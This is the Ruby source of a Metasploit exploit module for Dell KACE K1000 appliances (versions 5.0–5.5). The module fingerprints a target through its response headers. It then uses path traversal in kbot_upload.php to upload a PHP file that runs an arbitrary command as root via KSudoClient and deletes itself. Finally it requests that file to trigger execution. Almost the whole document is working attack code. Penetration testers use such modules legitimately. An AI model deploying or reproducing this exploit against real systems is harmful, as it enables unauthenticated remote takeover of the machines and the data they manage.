Dell KACE K1000 – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Dell KACE K1000 File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in Kace K1000 versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547 which allows unauthenticated users to execute arbitrary commands under the context of the 'www' user. This module also abuses the 'KSudoClient::RunCommandWait' function to gain root privileges. This module has been tested successfully with Dell KACE K1000 version 5.3. }, 'License' => MSF_LICENSE, 'Privileged' => true, 'Platform' => 'unix', # FreeBSD 'Arch' => ARCH_CMD, 'Author' => [ 'Bradley Austin (steponequit)', # Initial discovery and exploit 'Brendan Coles <bcoles[at]gmail.com>', # Metasploit ], 'References' => [ ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html'] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x27", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl' } }, 'DefaultTarget' => 0, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'DisclosureDate' => 'Mar 7 2014')) end def check res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php')) unless res vprint_error('Connection failed') return Exploit::CheckCode::Unknown end if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000' if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/ vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}") if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3 return Exploit::CheckCode::Vulnerable elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849 return Exploit::CheckCode::Vulnerable elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547 return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit # upload payload fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php" payload_path = "/kbox/kboxwww/tmp/" post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>" print_status("Uploading #{fname} (#{post_data.length} bytes)") res = send_request_cgi( 'uri' => normalize_uri('service', 'kbot_upload.php'), 'method' => 'POST', 'vars_get' => Hash[{ 'filename' => fname, 'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}", 'checksum' => 'SCRAMBLE', 'mac' => rand_text_alphanumeric(rand(8) + 5), 'kbotId' => rand_text_alphanumeric(rand(8) + 5), 'version' => rand_text_alphanumeric(rand(8) + 5), 'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle], 'data' => post_data) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code && res.code == 200 print_good('Payload uploaded successfully') else fail_with(Failure::UnexpectedReply, 'Unable to upload payload') end # execute payload res = send_request_cgi('uri' => normalize_uri('tmp', fname)) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code && res.code == 200 print_good('Payload executed successfully') elsif res.code && res.code == 404 fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'") else fail_with(Failure::UnexpectedReply, 'Unable to execute payload') end end end |